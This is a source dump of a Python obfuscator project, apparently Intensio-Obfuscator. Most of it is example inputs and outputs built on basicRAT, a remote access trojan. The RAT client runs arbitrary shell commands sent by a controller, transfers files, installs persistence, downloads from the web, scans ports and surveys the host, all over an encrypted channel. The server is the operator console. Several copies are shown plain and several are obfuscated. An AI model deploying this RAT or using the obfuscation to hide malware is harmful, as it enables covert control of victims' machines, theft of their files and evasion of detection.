17 | raise vXqCxopwEbofOtgCJuepbTTyGEGjClOU("PKCS7 improper padding {}".format(repr(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY[-32:])))
18 | def LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS(sock, server=True, bits=2048):
19 | qfLIwRNXQkYEhoERneZekXhtNSjaWdNN = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF;
20 | HDqbNMlKZPkjQdYvuHDlPCjIkdYVYdfx = 2
21 | RUCRNmEGRmwysUJNhHmfcljqePQQYVNH = sDbdGVTmnYPISKJkENqYvrbalANhLchN(os.urandom(32))
22 | FZqVJQKKlURykKyRlKwxzgBnUVIrEfoi = pow(HDqbNMlKZPkjQdYvuHDlPCjIkdYVYdfx, RUCRNmEGRmwysUJNhHmfcljqePQQYVNH, qfLIwRNXQkYEhoERneZekXhtNSjaWdNN)
23 | if server:
24 | sock.send(DKoAKXcLBxaCwnVTbPAvLSNDpZiNHsFA(FZqVJQKKlURykKyRlKwxzgBnUVIrEfoi))
25 | b = sDbdGVTmnYPISKJkENqYvrbalANhLchN(sock.recv(4096))
26 | else:
27 | b = sDbdGVTmnYPISKJkENqYvrbalANhLchN(sock.recv(4096))
28 | sock.send(DKoAKXcLBxaCwnVTbPAvLSNDpZiNHsFA(FZqVJQKKlURykKyRlKwxzgBnUVIrEfoi))
29 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY = pow(b, RUCRNmEGRmwysUJNhHmfcljqePQQYVNH, qfLIwRNXQkYEhoERneZekXhtNSjaWdNN)
30 | return SHA256.new(DKoAKXcLBxaCwnVTbPAvLSNDpZiNHsFA(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY)).digest()
31 | def tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE, KEY):
32 | GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE = iCFLlNlRvqnMWwoNgJrgzXhZJCDEvFof(GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE)
33 | QBlsHUwHSxMfGqxVCaZmisJbUMqMeEUS = Random.new().read(AES.block_size)
34 | APLyOYUxjwsHuRcYbbeLSgEulTOGOSxs = AES.new(KEY, AES.MODE_CBC, QBlsHUwHSxMfGqxVCaZmisJbUMqMeEUS)
35 | return QBlsHUwHSxMfGqxVCaZmisJbUMqMeEUS + APLyOYUxjwsHuRcYbbeLSgEulTOGOSxs.encrypt(GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE)
36 | def fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd(ciphertext, KEY):
37 | QBlsHUwHSxMfGqxVCaZmisJbUMqMeEUS = ciphertext[:AES.block_size]
38 | APLyOYUxjwsHuRcYbbeLSgEulTOGOSxs = AES.new(KEY, AES.MODE_CBC, QBlsHUwHSxMfGqxVCaZmisJbUMqMeEUS)
39 | GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE = APLyOYUxjwsHuRcYbbeLSgEulTOGOSxs.decrypt(ciphertext[AES.block_size:])
40 | return cOgdaPObksYNUIjsCnbCSfwoIIqTvIze(GcJTCLZuJEhuZCMlmHZzKpxroHTDQidE)
41 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/basicRAT_client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
5 |
6 | import socket
7 | import subprocess
8 | import struct
9 | import sys
10 |
11 | try:
12 | from core.crypto import AES_decrypt, AES_encrypt, diffiehellman
13 | from core.filesock import recvfile, sendfile
14 | from core.persistence import run
15 | from core.scan import single_host
16 | from core.survey import run
17 | from core.toolkit import wget, unzip
18 | except ImportError as e:
19 | print(e)
20 | sys.exit(0)
21 |
22 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
23 |
24 | PLAT_TYPE = sys.platform
25 | HOST = 'localhost'
26 | PORT = 1337
27 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
28 | # generate your own key with...
29 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
30 |
31 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
32 |
33 | def main():
34 | s = socket.socket()
35 | s.connect((HOST, PORT))
36 |
37 | DHKEY = diffiehellman(s)
38 |
39 | while True:
40 | data = s.recv(1024)
41 | data = AES_decrypt(data, DHKEY)
42 |
43 | cmd, _, action = data.partition(' ') # seperate prompt into command and action
44 |
45 | # stop client
46 | if cmd == 'quit':
47 | s.close()
48 | sys.exit(0)
49 |
50 | # run command
51 | elif cmd == 'run':
52 | results = subprocess.Popen(action, shell=True,
53 | stdout=subprocess.PIPE, stderr=subprocess.PIPE,
54 | stdin=subprocess.PIPE)
55 | results = results.stdout.read() + results.stderr.read()
56 | s.sendall(AES_encrypt(results, DHKEY))
57 |
58 | # send file
59 | elif cmd == 'download':
60 | for fname in action.split():
61 | fname = fname.strip()
62 | sendfile(s, fname, DHKEY)
63 |
64 | # receive file
65 | elif cmd == 'upload':
66 | for fname in action.split():
67 | fname = fname.strip()
68 | recvfile(s, fname, DHKEY)
69 |
70 | # regenerate DH key
71 | elif cmd == 'rekey':
72 | DHKEY = diffiehellman(s)
73 |
74 | # apply persistence mechanism
75 | elif cmd == 'persistence':
76 | results = run(PLAT_TYPE)
77 | s.send(AES_encrypt(results, DHKEY))
78 |
79 | # download a file from the web
80 | elif cmd == 'wget':
81 | results = wget(action)
82 | s.send(AES_encrypt(results, DHKEY))
83 |
84 | # unzip a file
85 | elif cmd == 'unzip':
86 | results = unzip(action)
87 | s.send(AES_encrypt(results, DHKEY))
88 |
89 | # run system survey
90 | elif cmd == 'survey':
91 | results = run(PLAT_TYPE)
92 | s.send(AES_encrypt(results, DHKEY))
93 |
94 | # run a scan
95 | elif cmd == 'scan':
96 | results = single_host(action)
97 | s.send(AES_encrypt(results, DHKEY))
98 |
99 | #----------------------------------------------------------------------------------------------------------------------------#
100 |
101 | #----------------------------------------------------------------------------------------------------------------------------#
102 |
103 | if __name__ == '__main__':
104 | main()
105 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/input/basicRAT-example/basicRAT_client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
5 |
6 | import socket
7 | import subprocess
8 | import struct
9 | import sys
10 |
11 | try:
12 | from core.crypto import AES_decrypt, AES_encrypt, diffiehellman
13 | from core.filesock import recvfile, sendfile
14 | from core.persistence import run
15 | from core.scan import single_host
16 | from core.survey import run
17 | from core.toolkit import wget, unzip
18 | except ImportError as e:
19 | print(e)
20 | sys.exit(0)
21 |
22 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
23 |
24 | PLAT_TYPE = sys.platform
25 | HOST = 'localhost'
26 | PORT = 1337
27 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
28 | # generate your own key with...
29 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
30 |
31 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
32 |
33 | def main():
34 | s = socket.socket()
35 | s.connect((HOST, PORT))
36 |
37 | DHKEY = diffiehellman(s)
38 |
39 | while True:
40 | data = s.recv(1024)
41 | data = AES_decrypt(data, DHKEY)
42 |
43 | cmd, _, action = data.partition(' ') # seperate prompt into command and action
44 |
45 | # stop client
46 | if cmd == 'quit':
47 | s.close()
48 | sys.exit(0)
49 |
50 | # run command
51 | elif cmd == 'run':
52 | results = subprocess.Popen(action, shell=True,
53 | stdout=subprocess.PIPE, stderr=subprocess.PIPE,
54 | stdin=subprocess.PIPE)
55 | results = results.stdout.read() + results.stderr.read()
56 | s.sendall(AES_encrypt(results, DHKEY))
57 |
58 | # send file
59 | elif cmd == 'download':
60 | for fname in action.split():
61 | fname = fname.strip()
62 | sendfile(s, fname, DHKEY)
63 |
64 | # receive file
65 | elif cmd == 'upload':
66 | for fname in action.split():
67 | fname = fname.strip()
68 | recvfile(s, fname, DHKEY)
69 |
70 | # regenerate DH key
71 | elif cmd == 'rekey':
72 | DHKEY = diffiehellman(s)
73 |
74 | # apply persistence mechanism
75 | elif cmd == 'persistence':
76 | results = run(PLAT_TYPE)
77 | s.send(AES_encrypt(results, DHKEY))
78 |
79 | # download a file from the web
80 | elif cmd == 'wget':
81 | results = wget(action)
82 | s.send(AES_encrypt(results, DHKEY))
83 |
84 | # unzip a file
85 | elif cmd == 'unzip':
86 | results = unzip(action)
87 | s.send(AES_encrypt(results, DHKEY))
88 |
89 | # run system survey
90 | elif cmd == 'survey':
91 | results = run(PLAT_TYPE)
92 | s.send(AES_encrypt(results, DHKEY))
93 |
94 | # run a scan
95 | elif cmd == 'scan':
96 | results = single_host(action)
97 | s.send(AES_encrypt(results, DHKEY))
98 |
99 | #----------------------------------------------------------------------------------------------------------------------------#
100 |
101 | #----------------------------------------------------------------------------------------------------------------------------#
102 |
103 | if __name__ == '__main__':
104 | main()
105 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/basicRAT_client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
5 |
6 | import socket
7 | import subprocess
8 | import struct
9 | import sys
10 |
11 | try:
12 | from core.crypto import AES_decrypt, AES_encrypt, diffiehellman
13 | from core.filesock import recvfile, sendfile
14 | from core.persistence import run
15 | from core.scan import single_host
16 | from core.survey import run
17 | from core.toolkit import wget, unzip
18 | except ImportError as e:
19 | print(e)
20 | sys.exit(0)
21 |
22 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
23 |
24 | PLAT_TYPE = sys.platform
25 | HOST = 'localhost'
26 | PORT = 1337
27 | FB_KEY = 'b14ce95fa4c33ac2803782d18341869f'
28 | # generate your own key with...
29 | # python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
30 |
31 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
32 |
33 | def main():
34 | s = socket.socket()
35 | s.connect((HOST, PORT))
36 |
37 | DHKEY = diffiehellman(s)
38 |
39 | while True:
40 | data = s.recv(1024)
41 | data = AES_decrypt(data, DHKEY)
42 |
43 | cmd, _, action = data.partition(' ') # seperate prompt into command and action
44 |
45 | # stop client
46 | if cmd == 'quit':
47 | s.close()
48 | sys.exit(0)
49 |
50 | # run command
51 | elif cmd == 'run':
52 | results = subprocess.Popen(action, shell=True,
53 | stdout=subprocess.PIPE, stderr=subprocess.PIPE,
54 | stdin=subprocess.PIPE)
55 | results = results.stdout.read() + results.stderr.read()
56 | s.sendall(AES_encrypt(results, DHKEY))
57 |
58 | # send file
59 | elif cmd == 'download':
60 | for fname in action.split():
61 | fname = fname.strip()
62 | sendfile(s, fname, DHKEY)
63 |
64 | # receive file
65 | elif cmd == 'upload':
66 | for fname in action.split():
67 | fname = fname.strip()
68 | recvfile(s, fname, DHKEY)
69 |
70 | # regenerate DH key
71 | elif cmd == 'rekey':
72 | DHKEY = diffiehellman(s)
73 |
74 | # apply persistence mechanism
75 | elif cmd == 'persistence':
76 | results = run(PLAT_TYPE)
77 | s.send(AES_encrypt(results, DHKEY))
78 |
79 | # download a file from the web
80 | elif cmd == 'wget':
81 | results = wget(action)
82 | s.send(AES_encrypt(results, DHKEY))
83 |
84 | # unzip a file
85 | elif cmd == 'unzip':
86 | results = unzip(action)
87 | s.send(AES_encrypt(results, DHKEY))
88 |
89 | # run system survey
90 | elif cmd == 'survey':
91 | results = run(PLAT_TYPE)
92 | s.send(AES_encrypt(results, DHKEY))
93 |
94 | # run a scan
95 | elif cmd == 'scan':
96 | results = single_host(action)
97 | s.send(AES_encrypt(results, DHKEY))
98 |
99 | #----------------------------------------------------------------------------------------------------------------------------#
100 |
101 | #----------------------------------------------------------------------------------------------------------------------------#
102 |
103 | if __name__ == '__main__':
104 | main()
105 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/core/utils/intensio_usage.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # https://github.com/Hnfull/Intensio-Obfuscator
4 |
5 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
6 |
7 | import argparse
8 |
9 | #------------------------------------------------- [Function(s)/Class(es)] --------------------------------------------------#
10 |
11 | class Args:
12 |
13 | def __init__(self):
14 | self.parser = argparse.ArgumentParser(prog="intensio_obfuscator.py")
15 |
16 | self.parser.add_argument(
17 | "-i", "--input",
18 | help="source file or directory - if multiple files indicate a directory that contain all \
19 | your files"
20 | )
21 | self.parser.add_argument(
22 | "-o", "--output",
23 | help="output file or directory that will be obfuscated - if multiple file indicate a empty \
24 | directorythat will contain all your files"
25 | )
26 | self.parser.add_argument(
27 | "-mlen", "--mixerlength",
28 | choices=["lower", "medium", "high"],
29 | default=False,
30 | help="define length of random strings generated [lower:32 | medium:64 | high:128] \
31 | (number of chars) when 'replacetostr' - 'paddingscript' - 'replacefilename' - 'replacetohex' \
32 | features are specified, possible values: [lower, medium, high]"
33 | )
34 | self.parser.add_argument(
35 | "-ind", "--indent",
36 | choices=["2", "4", "8"],
37 | default=False,
38 | help="indicate the indentation of your python source code, possible values: [2 | 4 | 8]"
39 | )
40 | self.parser.add_argument(
41 | "-rts", "--replacetostr",
42 | action="store_true",
43 | default=False,
44 | help="activate 'replace string to string mixed' obfuscation feature"
45 | )
46 | self.parser.add_argument(
47 | "--excludewords",
48 | default=False,
49 | help="file to exclude specific words (check documentation for the format) only for 'replace string \
50 | to string mixed' obfuscation feature"
51 | )
52 | self.parser.add_argument(
53 | "-ps", "--paddingscript",
54 | action="store_true",
55 | default=False,
56 | help="activate 'padding script' obfuscation feature"
57 | )
58 | self.parser.add_argument(
59 | "-rfn", "--replacefilename",
60 | action="store_true",
61 | default=False,
62 | help="activate 'replace file name' obfuscation feature"
63 | )
64 | self.parser.add_argument(
65 | "--excludefiles",
66 | default=False,
67 | help="file to exclude file name (check documentation for the format) only for 'replace file name' \
68 | obfuscation feature"
69 | )
70 | self.parser.add_argument(
71 | "-rth", "--replacetohex",
72 | action="store_true",
73 | default=False,
74 | help="activate 'replace string to hex' obfuscation feature (python 2 files only)"
75 | )
76 | self.parser.add_argument(
77 | "--version",
78 | action="store_true",
79 | default=False,
80 | help="check current version"
81 | )
82 | self.parser.add_argument(
83 | "-v", "--verbose",
84 | action="store_true",
85 | default=False,
86 | help="improve verbosity"
87 | )
88 |
89 |
90 | def GetArgHelp(self):
91 | return self.parser.print_help()
92 |
93 |
94 | def GetArgsValue(self):
95 | return self.parser.parse_args()
96 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/basic/output/basicRAT-example/basicRAT_client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | import socket
4 | import subprocess
5 | import struct
6 | import sys
7 | try:
8 | from core.crypto import fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd, tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq, LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS
9 | from core.filesock import rmKLLEJCqgoJgOaymQmnoOotvYFjGJwt, gKBMfnwhSSxqoYgKzwEAFFmdZUXetvKm
10 | from core.persistence import riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc
11 | from core.scan import kXXXRVfuUYZNQGSSpKiUekvTkBCiaQQG
12 | from core.survey import riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc
13 | from core.toolkit import heKCnAtKSPPzAttcFMAgPDiEOYCKLulX, BCKwnkdhaeEKirDhgeLvQLbhwrLlyeGW
14 | except ImportError as ucOmuZOuIhcXiuGPmcTSVoQyNPAoiLVT:
15 | print(ucOmuZOuIhcXiuGPmcTSVoQyNPAoiLVT)
16 | sys.exit(0)
17 | nKizTYvRJouBBEvqSZJFdiTRbVviNWgx = sys.platform
18 | UChJhSnGOaxYBOsrKFvWeZUfVUWmwsra = 'localhost'
19 | zzTyXoJjiJINsncOqPGjcAuYVjNhNDQM = 1337
20 | GHeDDCRnHFZaExiwVeNKjaSOtFANDvGB = 'b14ce95fa4c33ac2803782d18341869f'
21 | def AIFsrozZCqmWETKOCZVZEkGBgdjHQRWl():
22 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY = socket.socket()
23 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.connect((UChJhSnGOaxYBOsrKFvWeZUfVUWmwsra, zzTyXoJjiJINsncOqPGjcAuYVjNhNDQM))
24 | HRVsYDaowExNJmhzSYkosedOJuOiUyNV = LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY)
25 | while True:
26 | FTAwFMBnyYlLQChPOZpAGjfppfwzroiL = hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.recv(1024)
27 | FTAwFMBnyYlLQChPOZpAGjfppfwzroiL = fKVDYrzdKZVcijwKGIciPJNJhgUGEXQd(FTAwFMBnyYlLQChPOZpAGjfppfwzroiL, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
28 | uOGCjvxCoZgwanneHIIgovUCPFSerqXc, _, action = FTAwFMBnyYlLQChPOZpAGjfppfwzroiL.partition(' ')
29 | if uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'quit':
30 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.close()
31 | sys.exit(0)
32 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'run':
33 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = subprocess.Popen(action, shell=True,
34 | stdout=subprocess.PIPE, stderr=subprocess.PIPE,
35 | stdin=subprocess.PIPE)
36 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl.stdout.read() + IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl.stderr.read()
37 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.sendall(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
38 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'download':
39 | for UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl in action.split():
40 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl.strip()
41 | gKBMfnwhSSxqoYgKzwEAFFmdZUXetvKm(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
42 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'upload':
43 | for UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl in action.split():
44 | UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl = UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl.strip()
45 | rmKLLEJCqgoJgOaymQmnoOotvYFjGJwt(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY, UPjPUktdPamGxNAzLwFyJdyGcAbiuDAl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV)
46 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'rekey':
47 | HRVsYDaowExNJmhzSYkosedOJuOiUyNV = LECdLVZAGyQcqbGIHqDblBKNeiBWnwkS(hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY)
48 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'persistence':
49 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(nKizTYvRJouBBEvqSZJFdiTRbVviNWgx)
50 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
51 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'wget':
52 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = heKCnAtKSPPzAttcFMAgPDiEOYCKLulX(action)
53 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
54 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'unzip':
55 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = BCKwnkdhaeEKirDhgeLvQLbhwrLlyeGW(action)
56 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
57 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'survey':
58 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = riZaDmNOsluzUlWxKfMZLiUcvOhUrTuc(nKizTYvRJouBBEvqSZJFdiTRbVviNWgx)
59 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
60 | elif uOGCjvxCoZgwanneHIIgovUCPFSerqXc == 'scan':
61 | IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl = kXXXRVfuUYZNQGSSpKiUekvTkBCiaQQG(action)
62 | hZQTGxmzGJgpoqWsNisEnfYpjCARWJwY.send(tWFjgkigGlBgJzJuDPvNFxkOVaoVHkvq(IKrJWSUPXzCeStfSjMGWSKcbkCNLtGGl, HRVsYDaowExNJmhzSYkosedOJuOiUyNV))
63 | if __name__ == '__main__':
64 | AIFsrozZCqmWETKOCZVZEkGBgdjHQRWl()
65 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/advanced/input/basicRAT-example/basicRAT_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | ______ _ ______ ___ _____ _ _
6 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
7 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
8 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
9 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
10 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
11 |
12 |
13 | '''
14 |
15 | """ Basic RAT """
16 | ''' test '''
17 | ## test # test
18 | # test # test
19 | ## test
20 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
21 |
22 | import argparse
23 | import readline
24 | import socket
25 | import struct
26 | import sys
27 | import time
28 |
29 | try:
30 | from core.crypto import AES_decrypt,AES_encrypt,diffiehellman
31 | from core.filesock import recvfile, sendfile
32 | except ImportError as e:
33 | print e
34 | sys.exit(0)
35 |
36 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
37 |
38 |
39 | HELP_TEXT = '''
40 | download - Download file(s).
41 | help - Show this help menu.
42 | persistence - Apply persistence mechanism.
43 | quit - Gracefully kill client and server.
44 | rekey - Regenerate crypto key.
45 | run - Execute a command on the target.
46 | scan - Scan top 25 ports on a single host.
47 | survey - Run a system survey.
48 | unzip - Unzip a file.
49 | upload - Upload files(s).
50 | wget - Download a file from the web.
51 | '''
52 |
53 | BANNER = '''
54 | ______ _ ______ ___ _____ _ _
55 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
56 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
57 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
58 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
59 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
60 |
61 |
62 | '''
63 |
64 | COMMANDS = [
65 | 'download', 'help', 'persistence', 'quit', 'rekey',
66 | 'run', 'scan', 'survey', 'unzip', 'upload', 'wget'
67 | ]
68 |
69 | testStringVar1 = """a""" + "HELP_TEXT"
70 | testStringVar2 = '''HELP_TEXT''' + HELP_TEXT + '''COMMANDS'''
71 | testStringVar3 = "COMMANDS"
72 | testStringVar4 = 'HELP_TEXT' + 'COMMANDS' + "HELP_TEXT"
73 |
74 | #--------------------------------------------------- [Function(s)/Class] ----------------------------------------------------#
75 |
76 | def get_parser():
77 | parser = argparse.ArgumentParser(description='basicRAT server')
78 | parser.add_argument('-p', '--port', help='Port to listen on.',
79 | default=1337, type=int)
80 | return parser
81 |
82 | #---------------------------------------------------------- [Main] ----------------------------------------------------------#
83 |
84 | def EmptyFunc():
85 | """ comment """
86 |
87 | class EmptyClass:
88 | """ comment """
89 |
90 | def main():
91 | parser = get_parser() ## test
92 | args = vars(parser.parse_args()) # test # test
93 | port = args['port'] ## test # test
94 |
95 | print("# test") # test
96 |
97 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
98 |
99 | try:
100 | s.bind(('0.0.0.0', port))
101 | except socket.error:
102 | print 'Error: Unable to start server, port {} in use?'.format(port)
103 | sys.exit(1)
104 |
105 | for line in BANNER.split('\n'):
106 | time.sleep(0.05)
107 | print line
108 |
109 | print 'basicRAT server listening on port {}...'.format(port)
110 |
111 | s.listen(10)
112 | conn, addr = s.accept()
113 |
114 | DHKEY = diffiehellman(conn, server=True)
115 |
116 | while True:
117 | prompt = raw_input('\n[{}] basicRAT> '.format(addr[0])).rstrip()
118 |
119 | # allow noop
120 | if not prompt:
121 | continue
122 |
123 | # seperate prompt into command and action
124 | cmd, _, action = prompt.partition(' ')
125 |
126 | # ensure command is valid before sending
127 | if cmd not in COMMANDS:
128 | print 'Invalid command, type "help" to see a list of commands.'
129 | continue
130 |
131 | # display help text
132 | if cmd == 'help':
133 | print HELP_TEXT
134 | continue
135 |
136 | # send data to client
137 | conn.send(AES_encrypt(prompt, DHKEY))
138 |
139 | # stop server
140 | if cmd == 'quit':
141 | s.close()
142 | sys.exit(0)
143 |
144 | # results of command
145 | elif cmd == 'run':
146 | recv_data = conn.recv(4096)
147 | print AES_decrypt(recv_data, DHKEY).rstrip()
148 |
149 | # download a file
150 | elif cmd == 'download':
151 | for fname in action.split():
152 | fname = fname.strip()
153 | recvfile(conn, fname, DHKEY)
154 |
155 | # send file
156 | elif cmd == 'upload':
157 | for fname in action.split():
158 | fname = fname.strip()
159 | sendfile(conn, fname, DHKEY)
160 |
161 | # regenerate DH key
162 | elif cmd == 'rekey':
163 | DHKEY = diffiehellman(conn, server=True)
164 |
165 | # results of survey, persistence, unzip, or wget
166 | elif cmd in ['scan', 'survey', 'persistence', 'unzip', 'wget']:
167 | print 'Running {}...'.format(cmd)
168 | recv_data = conn.recv(1024)
169 | print AES_decrypt(recv_data, DHKEY)
170 |
171 | #----------------------------------------------------------------------------------------------------------------------------#
172 |
173 | #----------------------------------------------------------------------------------------------------------------------------#
174 |
175 | if __name__ == '__main__':
176 | main()
177 |
--------------------------------------------------------------------------------
/src/intensio_obfuscator/obfuscation_examples/python/intermediate/input/basicRAT-example/basicRAT_server.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | '''
5 | ______ _ ______ ___ _____ _ _
6 | | ___ \ (_) | ___ \/ _ \_ _| | | | |
7 | | |_/ / __ _ ___ _ ___| |_/ / /_\ \| | | |_ ___ ___| |_
8 | | ___ \/ _` / __| |/ __| /| _ || | | __/ _ \/ __| __|
9 | | |_/ / (_| \__ \ | (__| |\ \| | | || | | || __/\__ \ |_
10 | \____/ \__,_|___/_|\___\_| \_\_| |_/\_/ \__\___||___/\__|
11 |
12 |
13 | '''
14 |
15 | """ Basic RAT """
16 | ''' test '''
17 | ## test # test
18 | # test # test
19 | ## test
20 | #---------------------------------------------------------- [Lib] -----------------------------------------------------------#
21 |
22 | import argparse
23 | import readline
24 | import socket
25 | import struct
26 | import sys
27 | import time
28 |
29 | try:
30 | from core.crypto import AES_decrypt,AES_encrypt,diffiehellman
31 | from core.filesock import recvfile, sendfile
32 | except ImportError as e:
33 | print e
34 | sys.exit(0)
35 |
36 | #--------------------------------------------------------- [Global] ---------------------------------------------------------#
37 |
38 |
39 | HELP_TEXT = '''
40 | download - Download file(s).
41 | help - Show this help menu.
42 | persistence - Apply persistence mechanism.
43 | quit - Gracefully kill client and server.
44 | rekey - Regenerate crypto key.
45 | run - Execute a command on the target.
